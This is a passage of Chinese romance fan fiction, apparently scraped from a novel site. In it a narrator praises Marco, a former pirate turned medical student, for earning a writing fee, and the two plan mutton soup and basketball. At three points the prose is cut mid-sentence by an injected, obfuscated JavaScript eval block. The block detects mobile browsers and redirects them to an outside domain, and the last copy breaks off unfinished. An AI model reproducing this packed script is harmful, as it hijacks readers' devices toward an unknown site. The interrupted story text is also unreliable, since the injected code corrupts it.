“没有!怎么可能!”马尔科否认了,下巴抵在我头上,那语气听来仍然落寞,“我只是说……你才十几岁,这么年轻,记忆力再不好又能有多不好?” 普遍理性而言,记忆力的确会随着年纪呈不可逆的衰退。 马尔科所言在理。但我们说的不是一回事。 “不是的,”我探出头,和他强调,“鱼的记忆力只有七秒,你知道吗?” “嗯,听说过。” 我缩回去:“我也差不多。” 他忽然笑了:“大小姐,你是鱼吗?” “我是,”我承认,“差不多吧。” 我真的记忆力不好,我是认真的,没有开玩笑。 但我的坦诚只换来他笑得更大声:“……好吧,那也就是说,你记忆力不好跟年龄没有关系,是个人体质的问题?” “是的,”我点点头,“所以你不要笑我了。” “我没有笑你啊,我只是……很高兴,”他和我说,口吻柔柔的,像春风拂面。 用这样的语气和我说话,就算他当真笑话我,我也不会真的和他生气。何况他说没有—— 我往他怀里缩了点,抬起头问他:“有什么好高兴的?” “很高兴啊,大小姐很看重我们的约定不是吗?这一次有写进小本子里提醒自己啊。” “嗯,是的!”如果他会因为我的重视而高兴,那我也高兴起来了。 说明我们都有认真地对待约定——这很值得开心,不是吗? “马尔科,我现在好期待夏天。”他怀里暖呼呼的,我缩在其中,也用暖呼呼的口吻跟他讲。 马尔科在我耳边笑:“我也很期待……不过在此之前,我们得先实现冬天的约定哦。” “冬天的约定?” “是啊。” “……”糟糕,我脑子里一片空白。我不敢问,我们冬天有什么约定? ——我们冬天有约定吗? 我记性是真的不好,我认真思考了很久,但思来想去,属实没有结论。 对于我不确定的事,我得翻一下我的小本本。可是马尔科到来这两个多月里,除了这条“等夏天一起去看海”,本子上没有其他约定,我什么也没有记录。 马尔科刻意提起,言之凿凿,信誓旦旦,想必一定是有的。我不怀疑他,这种情况我只会怀疑我自己。 ——我肯定忘事了。 ——糟了。 过去忘事,我会立马询问和我形影不离的卡卡西,他几乎是我的人形小本本。 可惜他在出任务,任务期间一直处于断联状态。现在我不方便问,问了他大概也不知道——因为次日早上我偷偷咨询了修兵,修兵说他不知道,猜测是我和马尔科私下里的约定。 “私下里的约定?” “嗯,”修兵靠在门框上,呵欠连天地提醒我,“你私下跟人家说什么了?” “我说什么了?” 我不知道啊,我一头雾水。 ——糟了。 ——私下里的约定。 我真不知道,我到底和马尔科约定了什么啊? 26.13 勇敢(2) 我迟疑了整整一星期,绞尽脑汁也思考不出结果。 天气越来越冷了,冬至那天,马尔科有三场考试,从考场出来他为我揭晓了答案。 “……好了,睁眼吧。” “什么?” “你打开看看啊。” 考完试应该立马回去上课才对,但他带我往离校的方向行进,而且还神神秘秘地交给我一个信封。里头是一叠散发新鲜油墨味道的钞票,但他哪里来的钱啊? 我看着马尔科,脑子里拉响警报:“不许违法乱纪!” “我没有,”他一副无语样子,捡起来被我丢掉的牛皮信封,“你看清楚啊大小姐,这上面写了——稿费,感谢马尔科先生投稿的稿费!” 这上面是写了,稿费,这是稿费。 但什么稿费?什么时候?什么情况?我怎么不知道? 我是不是又忘事情了! 我不知道!我瞳孔地震! 看我像无头苍蝇一样乱撞,马尔科笑得开怀:“这是我上个月结课以后,写了点临床的心得。然后尝试着投稿到周刊,还真的被选上了,所以……” “……所以发了稿费?!”我不敢相信。 “嗯,所以就发了稿费。”他笑着肯定。 他有稿费!我惊得目瞪口呆! 天呐,马尔科来我们家才多久,他就能赚钱了! 第一桶金还是稿费! “……这可不要告诉修兵啊,”我下意识地告诫马尔科,“千万不要,修兵可是努力了一年才开始有稿费的!他会被打击的!” 马尔科一愣:“啊?可是,这就是委托修兵帮我修改的。” “真的吗?” “真的。” 那我要立即、马上、现在,一刻也等不了,告诉修兵了! 十秒钟之内,电话即刻打到修兵那里—— “修兵,你在忙吗?” “不忙,怎么了?” “马尔科投稿赚到稿费了!” “是啊,一次性收了两篇,有三千块。你才知道啊?” “我才知道!马尔科说是你们一起做的。” “哈?他在说什么啊——内容是他写的,我只是帮忙排个版而已。又没做什么。马尔科的文章写得很有深度,专业评价很高……” 可是排版也很辛苦,修兵也有付出许多。一家人别说两家话,客气的话不必多说,谦虚的话也一样。 电话里,修兵极尽全力地夸奖马尔科,我打断他:“你们都了不起!” 优秀不需要比较。他们都很优秀,修兵是,马尔科也是。 能得到杂志社准三栖主编修兵老师的夸奖,只能说明我们家马尔科优秀!优秀,无需多言! “——你怎么连我都不告诉啊!”我埋怨他,我以为我们关系最好了! “哈?没有不告诉你,只是想给你惊喜,”马尔科笑着说,“不是有个小姑娘想吃羊肉汤么?” 我不明白:“哪有小姑娘?” 他挑着眉,不答反问:“你说哪有小姑娘?” 我不知道啊,我说没有小姑娘。 “没有吗?” “没有啊!” “好吧,那没有吧——”马尔科叹了口气,一副被我打败的无奈,“那么,是哪位小姐缠着我要吃羊肉汤,还不让我告诉修兵呢?” “……” 真的没有小姑娘,我们最近没有和小孩子打交道。至于他说的“缠着要吃羊肉汤,还不让他告诉修兵”的人是我——所以马尔科在说我吗? 好像是有这么一件事,冰封的记忆一点点回来了。 我想起来了,原来是那天,是我缠着马尔科要吃羊肉汤那天! “……你说我吗?”我终于明白了。 “是你呀,”他笑得无奈,甚至还叹起气来,“除了你还能有谁啊……我没有告诉修兵,没有出卖你,我只是告诉他我想试一下,修兵直接帮我联系杂志社了。” 然后他写文投稿一气呵成。 而我只当他在上课,不便打扰,误把投稿用的论文当成了医学笔记。 “你好棒呀!”我已经不知道这是第多少次对马尔科刮目相看,他实在太优秀了! “也没有吧,”马尔科推了下眼镜,口吻淡然,“其实不是很深刻的见解,分享了一点临床经验而已……在我们那里是十分寻常的内容,只不过这里没什么人讨论——” 一番话轻飘飘地脱口而出,他不以为意,把成果归因为“不值一提的时间差红利”。 而我不以为然,我觉得马尔科太谦虚了。 世界上没有免费的午餐,天上永远不会掉馅饼。 马尔科有所成就,自然是因为他有所努力。 那所谓的“一点临床经验”“在海贼世界里寻常可见的内容”……是他接触、发现、解决,积累、归纳、消化,然后提出假说、自证结论的成果。 就算“一点临床经验”已经是过去了,过去不值一提,但至少现在,他也悉心辨别了过去和现在的差距,而且明确地找到了这个差异点,并针对这个差异点组织了语言、形成了文字、输出了内容——这难道不是努力吗? 何况海贼世界尚未大规模散场,马尔科却并非海贼世界第一个到来的人。 在此之前已然到来了许许多多出身海贼的医生。可迄今为止,医学界尚且遗留着这个“差异点”等待马尔科发表论文探索——世界上没有偶然,这只能说明唯有马尔科有实力接受幸运女神的点拨。 而且实力本身也是努力的结果。 毕竟纵使拥有再多的天赋,没有付诸努力,也等于没有。 所以归根结底,这绝对不是什么“红利”,而是马尔科足够努力。 非常合理。机会只留给有准备的人。 修兵不要说了,马尔科也不要说了。 这一点上他们应该向卡卡西学习——天才就是天才,天赋就是天赋,努力就是努力,成功就是成功。客观的存在不因为主观意志而转移。优秀就是优秀,没有任何推脱的必要。 何况我在乎的从来不是结果,而是他积极主动的态度。 我打断他:“听不懂你在说什么。” “哈?我是说……” “你说的很好,但是你不要再说了,”我二次叫停他,如实阐述我的观点,“这些都是你努力的结果。” “……呃,倒也算不上努——” “为什么不算,”他在说什么,我真的听不懂,“你每天都学习到很晚,这都不是努力吗?” 这无可厚非就是努力。 “大小姐,好吧,”马尔科不和我争了,目光交错,他微微一怔,施施然望向了远处,“但你不要用这种眼神看着我。” “嗯?”我什么眼神?他的镜片不反光,我看不见自己的样子。 “我怎么了?”我得问马尔科。 他一脸无措:“你眼睛都要发光了!” “哦,”那再正常不过了,我笑着,“因为我觉得你很棒!” “……哎,也不要和我说这种话啊!” “为什么不要?”我不理解,“可是你真的很棒啊!” 我是认真的! 马尔科真的很棒! 我们每天都在一起,随时随时,形影不离。马尔科 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14285222|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一举一动我事无巨细地收在眼里,绝对拥有发言权——他真的很优秀,学业如此繁重,他始终甘之如饴。 精益求精的医学业务水平是他应得的馈赠,付出必然有收获。 那不属于我讨论的范畴,我说了,我在乎的主要是他的态度。 马尔科一直很有“态度”,我早有见证。 那些不良的生活习惯,生日当天他说“要改”,次日就开始着手改变自己。雷厉风行的架势一度使我大为震撼,如今亦然。 他真的很了不起!不仅积极,还勇敢! 马尔科才来了一个多月,弹指一挥间而已。 把过去几十年盖棺定论的人生推倒重建已经很是辛苦困难,需要使出全身解数,耗费全部力气。许多人需要几年甚至于几十年才能接受世界的落差、人生的参差,实现由一到零的跨越。而马尔科在短短一月里不止跨越,甚至超越—— 这里毕竟是一个全新的世界。对于海贼出身的人来说,特为尤甚。 要在完全陌生的世界和领域踏出第一步,那得需要多少勇气? 我不知道马尔科怎么想,在投稿之前,究竟有没有想过他初来乍到、知之甚少,发表稿件可能会受到非常尖锐的批评和非议? 但我认为他很勇敢。 尝试是一种勇敢,就算失败也应该被赞颂,而他没有失败,他甚至还有底气和余力一步到位。 ——马尔科就是很棒啊!这种定论有什么值得讨论的空间吗? 我不理解他为什么不让我说?谦虚?没有那种必要。 优秀就是优秀,了不起就是了不起。客观意义的了不起,不由谁主观意识决定。 推辞的话和外人说去吧。我又不是外人,跟我不需要谦让。 “……你真的很优秀,我真的这样认为!” “诶,大小姐……” “真的!”我再认真不过了,“你真的好优秀喔!” 我态度坚决,每每一到态度坚决的时候,声音也会骤然放大。听起来又像是在吵架了,虽然我们并没有,我只是在肯定他的努力和成就,却已然惹来了非议,吃瓜的目光在我们之间游走。 我敛声不说了,马尔科也不。 路上人多,不是说话的地方。他领着我穿过林荫路,抵达了图书馆背后的小道。 这里人迹罕至,我们坐在路边的双人休闲椅上。 他看着我笑,油然说起:“你干嘛呀,大小姐?” “什么?” “干嘛一直夸我啊……” “我没有夸你,”这怎么能是夸他?马尔科乱讲,我纠正他,“我只是客观地描述了一下你所取得的成就,没有夸张的成分。” “……啊,是是是,”而他不以为然,“可是我觉得这好像没有什么了不起的,其他人不都是这样的吗?” “这就是很了不起,其他人并不这样!”我坚持说道,是马尔科对自己的认识有失偏颇。 我说真的! 这里多得是无法接受现实而迷失的自我,像马尔科这样能勇敢面对的凤毛麟角。 有时候成功并不因为客观的阻碍,而仅仅在于主观的胆怯。 “面对”本身已经打败了百分之九十的竞争者,已然是鹤立鸡群的绝对佼佼者。而他甚至还能付诸行动,实现超越——这种优秀的自我管理能力,我上次见到还是在遇到“木叶天才”卡卡西时。 印象里,马尔科似乎没有类似于“天才”的外号。那么显然,根本不像他“自谦”的那样,他一定在不为人知的地方暗自生长。 ——天呐!那就更了不起了!别人都在想现实,而他想着实现。 27.13 勇敢(3) 原来我们家马尔科是这么了不起的人啊! 他太优秀了,我的赞许溢于言表:“你好棒喔!” “大小姐,”马尔科眼神闪烁,左右为难,“真是的,你别这样说了……” “为什么?” “明明也没做什么,你这样说……一直被你夸会很高兴的。” 那就高兴啊?他就是很优秀,我又没有胡诌。 可马尔科捂住我嘴,不许我再说了。 “……” 我不。我要说,我就要说。 等他松开我,我马上说:“我没有夸你,是肯定你。你真的很棒!” 他愣了愣,哑然失笑:“好好好,是肯定我……但是一直这样说,会很难为情的。” “……”这有什么难为情的?我不理解。 人被肯定了就会高兴,这是极为正常的情绪。修兵和卡卡西被肯定时也会笑,但那笑容是得意,因为他们本来就很优秀,我说他们优秀,也只是陈述事实,他们也只会认为“理应如此”。 马尔科的反应很不寻常。 明明他做得很好,非常优秀,我没有胡诌,客观评价而已,但他却会手足无措。 ——为什么? ——他以前没有被肯定过吗? 念头在我脑子里闪了闪。 我没有答案,没有问,也不准备问。 “你真的很棒,”我和他说,“你还好聪明,就不像我,是个笨蛋。” “哈?”马尔科猛地一愣,不笑了,转过头盯着我,大为震撼,“什、什么?” “我是个笨蛋。” “什么啊,你在说什么啊大小姐!”他惊得眼睛都圆了,“不准乱说!哪有笨,不许说!” 我没有乱说,只是基于事实客观评价罢了。 我是真缺心眼,卡卡西所言不虚。我分明每天都和马尔科在一起,从早到晚,形影不离,但他闷声做了这么了不起的事情,我居然一点都没有发现。 这就是事实,无可非议。 但马尔科惊讶不已,他不许我继续,话毕一把揽住我,把我箍进了他臂弯里。怀抱的姿态全然是一种安慰,轻柔的语气也是—— “没有笨,不要乱说自己,”他好温柔,从来对我包容,没什么脾气,“羊肉汤……是我故意的啊,准备给大小姐的惊喜当然不能让你发现——其实好几次都差点被你发现了。” 其实我根本没发现过。 生活平静如水,我没能觉察出丝毫端倪。即便那天晚上马尔科明确提醒我我们之前尚有一个“冬天的约定”,而整整一星期过去,我甚至都不知道他在说羊肉汤。 事情全然不是马尔科说的这样。我一无所知才是事实。 但他人真的很好,居然在为我找台阶下——世界上怎么会有这么心软的人啊?我乱讲话,讲完就忘,他却半句话都不忍心责怪我,还要带我去吃羊肉汤。 ——世界上居然还有这种以德报怨的海贼呢! 果然还是我刻板印象太严重了,我真的不知道马尔科不仅十项全能,还德才兼备呢。 他连怀抱都香,充斥着春天的草木气息。 算了,如果他不想深究,那就不要深究了。 我从他胸前抬起头来,不准备拆穿他善意的谎言:“所以是你故意的吗?” “是啊,”他点着头,油然肯定,“所以今天可以去吃羊肉汤了,惊喜吗,大小姐?” ——惊喜! ——天呐,世界上怎么可能会有人能拒绝羊肉汤! 这种话真的不是明知故问吗?如果是卡卡西对我说,那一定是他在捉弄我,我就不想理他了。可是是马尔科的话,那我要大声回答:“嗯!惊喜!” 要给予勇士至高的礼遇! 我惊喜到抱住他都不乐意撒手:“马尔科你人真好!” “你别别……别说这种话,听起来好奇怪,好像被拒绝了一样,”他却捂住我的嘴,不许我说,反而问我,“哇大小姐,你怎么能开心成这样?真的有那么喜欢羊肉汤吗?” “嗯,喜欢!”我喜欢极了,一刻也等不了,“我们现在就去吃吗?” “去啊——” “那课怎么办?” “放心,”马尔科安排好了,“我提前换过课了,今天没事了,专心去找羊肉汤吧。” ——好诶!吃羊肉汤! 空荡荡的操场上找不到一处可以反光的“镜子”,但我不必看镜子,也能想象到自己喜不胜收的神情。 我甚至听到自己在笑。如他所说,我很少会有这么开心的时候。 今天正好是冬至。雷在地下,一阳来复。 日头也好,吉利,非常适合阖家团圆。 卡卡西还没回来,我又把电话打到修兵那里:“修兵,羊肉汤!我们去吃羊肉汤吧!今天冬至诶!” “不行啊今天,”他回绝的话比冬天还要冰冷,“……组里有个同事得了流感,一会儿下班我得送人去医院。她还没有找到自己的家人,一直是一个人生活,我今晚还得守着她。” “喔……”既然如此,我也不好强求。 修兵叹了口气:“你和马尔科去吃吧,天冷,吃羊肉汤合适。而且马上要降温了,你多吃一点,我怕你冬天又顶不住——” “……”我没有答应,只是沉默。 旁边的马尔科突然抽走了我的手机—— “喂,修兵?” “嗯,是我。” “你那边怎么样,需要帮忙吗?我调过课了,今天有空。” …… 马尔科太高了,端正站着打电话,我听不见那头的回应。踮着脚想听一听,却只变成拽着他衣服摇摇欲坠。 “唔!”他一把搂住了我,“干嘛呀?大小姐。” “……”他们在说什么,我想听。 “……嗯?没有,她没有不开心,在跟我闹。” “好,没事,你忙吧。” 电话挂了。马尔科把我手机揣进了他的口袋。 “干嘛呀?”他搂着我,一脸无奈,“快不要撒娇了,我得赶紧看看周围有没有位子。” “什么位子?” “修兵说最近吃羊肉汤爆火,要是我们没有预约的话非常危险——” 我不闹了,我一秒乖巧。 我和马尔科坐在小花园的长椅上,寒风虽然在吹,头上有一轮高高的太阳,倒也不那么冷。小花园靠近操场,附近不时传来青春的叫嚷。 马尔科翻找附近的羊肉汤店面。他翻得太快了,我眼睛跟不上,索性靠在他肩上晒太阳。 修兵的提醒太巧妙了,我们分明是下午四点准备出发吃羊肉汤,可今年的降温事件导致全城羊肉汤生意爆火。我生平第一次遇到这种情况——计划赶不上变化,从来都是手头没有太多余钱可以买,今天却是我和马尔科拿着稿费也买不到。 那场断崖式的降温给所有人都带来了震撼。 人与自然相比较,竟是如此渺小。恍惚之间,原生世界崩塌的巨大恐惧又回荡在众人心间。 …… 修兵还没有下班,忙里偷闲,给我们发消息。 之前马尔科瞒得太好,他不知道我们准备去吃羊肉汤,便没有提醒我们。经过那次降温,今年的羊肉价格飙升,目前超市和农贸市场里根本买不到羊肉,餐馆里的售价也已经升到了两百五十块一斤。 “多少?” “两百五。前几天我有同事去吃了,卖两百五十块一斤,据说这两天还在涨价。” “……” 羊肉居然还要涨价!这也太夸张了,往年餐馆里可都卖一百五十块钱啊! 即便是按照两百五十块一斤算,这三千块稿费也才够买十二斤。且是含水十二斤,煮出来八斤左右。普通人一顿能吃一两斤,能力者三四斤起;八斤羊肉,两个人吃只能算是“堪堪”够用。价格要是再涨,三千块还不够我们吃一顿饭…… 这太匪夷所思了,但它居然是真的。 眼下的确是一副僧多粥少的架势。 我们是临时起意。马尔科把电话打了一圈,四处都说售罄——早已售罄,现在排队也得排到半个月以后。 可是今天是冬至,冬至吃羊肉是我们这里的习俗。 如果要等半个月以后,那干嘛不等一个月以后,索性等到卡卡西回来一起吃呢?届时年关将近,修兵也可以一起,说不定羊肉也会便宜一点。 “……今年生意火爆,我们这边已经预约满了,就算现在预约也得排半个月以后去了。您要定位吗?如果您确定要定,我给您安排,不用等半个月,一个星期就好……” 马尔科开着免提,店家的话夹杂在簌簌的风里,怎么听怎么凄厉。 要吃羊肉汤得等一个星期,就是我说的,既然一个星期都等了,为什么不等半个月?半个月都等了,为什么不等一个月,等卡卡西和修兵一起? 价格也属实离谱,没有一点周转的余地。我只是笨拙,不是白痴——两百五十块一斤,谁吃谁是二百五吧?! …… “客人,您还需要吗?” “呃,谢谢,不用了。” 马尔科想答应来着,我拽住他,疯狂摇头。 他婉拒了店家的无稽之谈。但如此一来,他精心准备的羊肉汤也只能“泡汤”了。 通话结束。马尔科皱着眉,为此苦恼不已。 我也没有想到事情会变成这样。 太阳渐渐从头上隐去了,远方悠悠地飘来一朵云。有点冷,我把手塞进马尔科手心。 他油然地接住我,四目相对,又立马叹气:“……抱歉,本来想带你去吃羊肉汤的。” 我不知道他为什么要道歉,这又不是他的错。所以我也和他说:“对不起,马尔科。” “大小姐,你道歉做什么?” “我没有把约定记住,罚我不能吃羊肉汤。” 马尔科怔了怔,面容霎时忧转喜,又笑起来,还是那副柔和的安慰口吻:“说什么傻话,是我忘记提前联系了——和你有什么关系?不要这样说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14305038|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己。” 他抽了只手,揉了揉我的头。 我也接住他,问他:“如果我都不需要道歉,你又为什么要道歉?” “我——”他叹了口气,略显尴尬,“没有让你吃上羊肉汤……不是白高兴了么?” “怎么会?”我不这样认为,“高兴就是高兴,高兴本身就是意义,哪有白高兴的说法——何况羊肉汤又不重要。” “哈?”马尔科惊住了,下意识挑眉,“羊肉汤都不重要吗?” “嗯,是的。” 羊肉汤今天铁定吃不上了,事已至此,多说无益,不如算了,往好处想。 时间还有很多,我们可以慢慢来。在那之前,我们不妨做点别的—— “别的?”马尔科瞧着我笑,十分配合地问起,“那究竟是什么事啊,大小姐?” “……唔,就是,”我犹豫了一瞬。 “怎么了?”马尔科问我,“怎么不说话?” “没有,我只是在想……这样说会不会打扰你的学习?” “打扰我学习?”他一怔,满眼诧异,“什么意思?大小姐,你想说什么?说吧,没关系,不会打扰学习。” 他弓着腰,一副愿闻其详的姿态。 “好吧,”我告诉他,如果他真的想知道的话,我愿意和他讲,“就是……体育课,你准备什么时候去上?” 一百五十分的总学分里,有二十分的体育必选。但他至今还没有开始。马尔科每天都在教室里读书,除了吃饭和考试,从不离开教室。 我想知道:“你不选吗?我想去嗑CP。” “嗑CP?” “嗯,教室里大家都在学习,没有人谈情说爱。球场上应该有吧?” 那对传说中超甜的CP我至今也没有嗑到。它像一个影子,总在我脑海里徘徊着,挥之不去。 我也不知道为什么会这样,思来想去,或许是因为迄今为止,我最喜欢的仍然是我的初心CP。而即便是我的初心CP,修兵和乱菊小姐的CP嗑到现在,也仅仅是一种想象。 想象不一定和现实对等。 他们不是真的,我看过的所有小说即便描绘得再真实,都不是真的。可现在有机会,它启发了我,我应该嗑一下真的。 “想嗑CP,每天都想……”我拽着马尔科的衣服,想得又要流眼泪了。 我都这样了,他却揽着我乐不可支:“哎哟,大小姐……你真是的,你怎么这么可爱?” “我很严肃的!” “好好好,严肃严肃。” 马尔科轻咳了两声,也想严肃一点,可惜不是那块料子。 我和修兵天生冷脸,不用刻意也会显出一股拒人于千里之外的冷漠感,但他和卡卡西比较像,眉眼柔和,举止松弛,天生有亲和力。 要马尔科保持严肃,就像要我和修兵随时保持亲切一样,非凡半分亲切不起来,反而透出一种皮笑肉不笑的阴森——而他所谓的“严肃”也只是皮面上的肃穆,甚至连皮面都不算,因为他嘴角翘得老高;眼也弯弯的,满是笑意。 马尔科绷不住的样子好滑稽啊。 四目相对,我忍俊不禁,他也一样。 “……你干什么啊?”我问他。 “哈哈,没有,我只是——”他笑着移开了眼,只是什么,又不细说。 没有风,但马尔科伸手抓过我,把我揽在怀里。 头顶尽是他欢愉的哼笑。 我不知道他在开心什么,但他尤其开怀。 算了。开心是好事,总比不开心好。 “那你要去上体育课吗?”等他收敛了笑意,我第二次问起,“想嗑CP,带我去嗑CP吧,好吗马尔科?” “好啊,那我们去吧,”马尔科爽快应下。 体育课而已,对他而言易如反掌、信手拈来。 他没有任何问题,是我有—— 马尔科笑够了,问起我:“不过我去上课的话,你就只能一个人呆着了。大小姐,你一个人可以吗?” “……”说实话我不可以。 球场上人太多了,小说里都这么写——只要是运动系的男主出场,瞬间锣鼓喧天、鞭炮齐鸣。看台上人山人海,尖叫声不绝于耳。 所有的聚光灯都只会为他一人照亮,鲜花、荣耀、掌声都只为他绽放。 那必然是极尽热闹的盛宴。但那种热闹场合,我单是听到就会眉头紧锁。 好麻烦啊,我本能地要退缩了,头脑却示意我勇敢一点。毕竟马尔科那么勇敢,作为他的管理员,我不可以太差。 我得努力一点才行。 马尔科在跨越,我也要跨越。 我拽住他衣角,小声拜托:“……要是人太多,你离我近一点,不要把我一个人丢在人堆里,好吗?” “说什么呢,怎么会把你一个人丢在人堆里?就算我在上课也会一直看着你的——” 幸好马尔科的答复坚决有力。 “安心吧,大小姐,会一直在你身边的,我保证。” 28.14 光明(1) 马尔科在我这里信誉良好。 今天我们没能吃上羊肉汤足以证明他言而有信。一点不像卡卡西——可恶的大反派,居然当面出卖我,害得我被修兵砍。 我耿耿于怀,那天一回家就把卡卡西写在小本本上。 马尔科之前没有看见我的本本,因为每个人都有自己的小本本。卡卡西的在他房间里,修兵的亦然,马尔科见到的只是属于他的小本本——我们房间没有太多空间可以储物,所以我放在枕头底下。 马尔科初来乍到,他的小本本还很单薄。本子上记载的是独属于我们的事情,赚稿费给我买羊肉汤当然也算一件,带我去嗑CP也算一件,等晚上回去,我就把它们通通记下来。 “……对了,这些都是只跟你说的话!”我拽住马尔科。 “哈?大小姐,这也是吗?”他扶了下眼镜,面对我时脸上总带着笑意。 马尔科还是笑起来好看。 春风拂面,和光同尘。配合他身上清雅的木调香,总让我想到苏生的草木,一尘不染的蓝天白云和清新自然的风…… “嗯,这也是,”我靠他更近了些,“不许出卖我,不然记你小本本!” “怎么会啊,大小姐,”马尔科笑着,语气从来温和,即便内容本身并不,“放心了,我可是海贼啊——对海贼来说,‘掠夺’和‘占有’可是安身立命的本性。” “……”什么本性?对此我不敢苟同。 马尔科对自己的认识有失偏颇。 就我所知,他虽是海贼出身,但绝非刻板印象里穷凶极恶的贼人——世界上也没有哪个恶贼会推心置腹地谈到想当医生,因为“帮助别人,感到快乐”——如果有,那压根不是“贼”,也不应该被这样称呼。 我倾向于认为马尔科本人心性光明,上贼船不过是环境的选择。 过去他没得选,伟大航路除了烧杀抢掠也没有描绘别的内容;就像过去卡卡西也没得选,狭路相逢勇者胜,手上沾染鲜血是无可奈何的事情;但凡现在有得选,有机会可以正常生活,绝大多数人都会选择做个好人。 他这种说法很危险,文字有特别的力量,总说自己是“贼”,会被影响到行为卑劣。 马尔科又不是……话不吉利,我不爱听,不准他这么说。 “马尔科,你已经不是海贼了,你现在是遵纪守法的好市民。”我立马纠正他不当的措辞。 “……啊,我知道,”他哑然失笑,抬手摸了摸我的头,“我是想说……是我的啊,眼睛一睁就是我的了——我可没有拱手相让的‘美德’,就算是‘只和我说的话’,那也是我的。” 所以他的意思是大可不必介怀,他不会出卖我。 这再好不过了。只要他不违法乱纪,就算他出卖我,我也不会介意。 “嗯!”我点着头,不自觉微笑着,“那你有没有喜欢的运动?” “运动……好像没有,”马尔科第一时间掏出了手机,联系助理,咨询起了可选的“运动”。 生活是一门复杂的学问。纵然是他这般的“先前学习圣体”,面对包罗万象的世界仍然有笨拙的一面。 金无足赤,人无完人。这很好,使我仍然有用武之地。 “那要不要考虑打篮球?” 助理不是修兵,不会第一时间回复消息。我推介马尔科:“篮球怎么样?你个子高,打篮球很合适!” “篮球?”马尔科一无所知,想了想,问我,“你喜欢篮球吗?” 远处传来沸反盈天的欢呼,篮球场上激情澎拜。 那样的场合和我的调性南辕北辙。我当然谈不上“喜欢”,充其量一点爱屋及乌的“接受”。 “我不喜欢运动,我的生命在于静止,”我如实交代。 而他忍俊不禁:“大小姐……你身上寒气重,不要总是静止,应该多运动才对。” “嗯,是的,”我也这样想,不只是我,马尔科也应该多运动。 运动大抵都是一样的性质,充满了光和热,没有实质的沉淀,只有光阴本身的意义。 但那也是好的,好在纯粹。 马尔科学习过分专注,我已经很不爱动了,他居然比我更胜:一个人怎么可以一动不动、从早到晚就只坐着搞学习呢? 我不是说学习不好,进取心和专注力当然都是很好的东西,万般皆下品惟有读书高;我只是在说他太专注了,身在其中不知醉,可我作为局外人,却会不时回忆起第一次和他去学校上课,他叫着“大小姐”,满眼浑浊的印记。 我从不怀疑他的学业。是金子,假以时日,终会发光。 我只是忧虑他的眼睛:过去已经留下一些伤痛的印记,但那些痂查不可以成为他未来的枷锁。 我不允许那种事发生。 过去应该留在过去,未来也只属于未来——我想,这就是“现在”存在的意义。 他现在是我们家的马尔科,我要对他负责。 这和喜不喜欢没有关系,是我们都要勇敢地往前走。 一直在家里闷着不行,一直在学校里废寝忘食也不行;我需要运动,马尔科亦然。 我对于“不死鸟”果实的认识浅薄有限,但至少在我粗俗浅显的理解里,果实的“再生”特性很大程度的影响到了马尔科的身体,以至于他无论精力还是体力都是凡人不可比拟的充盈,莫说普通人,就连能力者之中也少有能与之比拟的存在。 而就我观察,这种“不死鸟”果实带来的收益似乎并不作用于他的眼睛—— 青炎甚至能治疗缺胳膊断腿,却不能治疗他的眼疾。这并不成立。 我能想到的唯一可能是他的眼疾并不属于“疾病”,毕竟老话说“眼睛是心灵的窗户”……我想,指不定他的眼病不是物理意义上的眼病,本质上是心病的外化。 当然,这只是我的推论。 但一如他来到这里的缘由,倘若找不到别的可能性,再荒谬也是真相。 我相信自己的推理。否则我解释不了为什么会出现“无法治疗”的情况,除非那种伤看不见摸不着,在心里,是情绪上的荒漠,甚至于他或许自己也没有觉察到。 而且马尔科的确是这样的人——我知道,我们家的修兵和卡卡西都这样,很会担心别人的人,常常忘记担心自己。 温柔本身不是错误,不需要批评和指教。 只是事已至此,无法挽回,只能接受现状,加以改进。而短暂忘却书本对他来说大有裨益。 管理员近乎于神,但不是神。不是我主观意志决定康复,就能使得他痊愈。这种事我也只能尽人事、听天命。我也不知道未来是怎样的,至少尽量防止他眼疾进一步恶化。 某种意义上来说倒是件好事: 有关“冬天的约定”,我冥思苦想整整一周无果,脑子里却忽然钻出一句“顶上战争之后,只有马尔科失去了一切”——我确定伤痛是存在的。 但我不是医生,也不是心理学家,我不知道他在想什么,即便问,大概也问不出结果。 现在好了,如果眼睛是心灵的窗户,那么这种伤痛可以被量化。 问题一旦被具象化,解决就只是时间的问题。 而时间从不是问题,时间是答案本身。 我和马尔科都有那个时间慢慢经历。 我能做的不多,但那绝不是微不足道的努力。希望是在努力才会出现的东西,不能因为它微小便放弃它,特别是在冬至这一天。 “……所以你去上篮球课吧,”我可以勇敢一点,“你上课,我在边上嗑CP。” “大小姐,”马尔科忍俊不禁,“可是篮球场上也没有CP啊?” 他说得对,篮球场就在极目可见的不远处。 绿色铁网里欢呼声不绝于耳,但没有CP,没有女生,黑压压一片全是年轻小伙。 “要嗑CP的话,不是去隔壁网球场更好吗?” 他示意我考虑考虑隔壁网球场,那里没有太多喧嚣,只有不时的尖叫。除了球场内的球员本人,外圈密密麻麻全是女生。 无论怎么分析,要嗑CP都应该选择网球场。 我起身眺望了一番,承认他所言在理,但我还是选择篮球—— “可是篮球帅气啊!” “哈?篮球帅气吗?”他不笑了,认真听我说话。 “帅气,”我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 